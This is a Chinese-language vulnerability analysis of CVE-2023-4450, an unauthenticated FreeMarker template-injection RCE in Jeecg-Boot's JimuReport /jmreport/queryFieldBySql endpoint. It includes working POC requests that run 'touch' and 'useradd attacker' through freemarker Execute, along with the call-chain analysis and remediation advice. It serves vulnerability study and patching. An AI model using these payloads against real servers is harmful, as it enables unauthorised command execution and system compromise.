jeect-boot积木报表漏洞rce分析(CVE-2023-4450)
字数 1212 2025-08-24 07:48:22
Jeecg-Boot积木报表RCE漏洞分析(CVE-2023-4450) 教学文档
一、漏洞概述
Jeecg-Boot框架中的Jimureport组件存在远程代码执行漏洞(CVE-2023-4450),由于未授权的API /jmreport/queryFieldBySql 使用了Freemarker解析SQL语句,导致攻击者可以构造恶意请求执行任意系统命令。
二、漏洞复现
环境搭建
- 使用Jeecg-Boot 3.5.3版本
- 配置MySQL和Redis数据库
- 使用IDEA启动调试环境
漏洞利用POC
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch /tmp/success\")}",
"type": "0"
}
关键参数说明
sql:包含Freemarker模板注入的恶意代码type:可为任意值,但必须存在该参数
三、漏洞分析
1. 路由与拦截器
从JimuReportConfiguration.class可见,以下路由设置了拦截器:
/jmreport/queryFieldBySql/jmreport/loadTableData/jmreport/dictCodeSearch
2. 漏洞入口点
漏洞主要存在于/queryFieldBySql路由的处理逻辑中,具体代码位于a.class。
3. 请求处理流程
- 从JSON请求中解析
sql参数 - 调用
i.a(var2)进行SQL注入拦截检查(WAF功能) - 传入参数到
reportDbService.parseReportSql()方法:- var2: SQL语句(包含恶意代码)
- var3: dbSource
- var4: paramArray
- var5: type
4. Freemarker模板解析
关键调用链:
FreeMarkerUtils.a(var1, var2)
↓
(new Template("template", new StringReader(var0), var2)).process(var1, var3)
↓
env.getMainTemplate()
↓
this.doAutoImportsAndIncludes(this)
5. 命令执行过程
-
模板解析
<#assign ex="freemarker.template.utility.Execute"?new()>:- 通过反射创建
freemarker.template.utility.Execute类实例
- 通过反射创建
-
执行
${ex("open -a Calculator.app")}:- 解析表达式并调用
eval方法 - 最终调用
Runtime.getRuntime().exec(aExecute)执行系统命令
- 解析表达式并调用
四、漏洞利用扩展
1. 其他利用方式
- 可执行任意系统命令
- 存在SQL注入点,可进行数据库操作
- 可能通过MySQL进行后渗透攻击
2. 示例攻击
创建系统用户:
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"useradd attacker\")}",
"type": "0"
}
五、修复方案
- 官方后续版本增加了权限控制
- 建议修复措施:
- 升级到安全版本
- 对
/jmreport/queryFieldBySql等接口增加严格的身份验证 - 禁用Freemarker的危险功能
- 实施输入过滤,防止Freemarker模板注入
六、总结
该漏洞利用链相对简单,主要利用Freemarker模板注入实现RCE。攻击者可通过未授权接口直接执行系统命令,危害性较高。同时存在SQL注入风险,可能造成更严重的后果。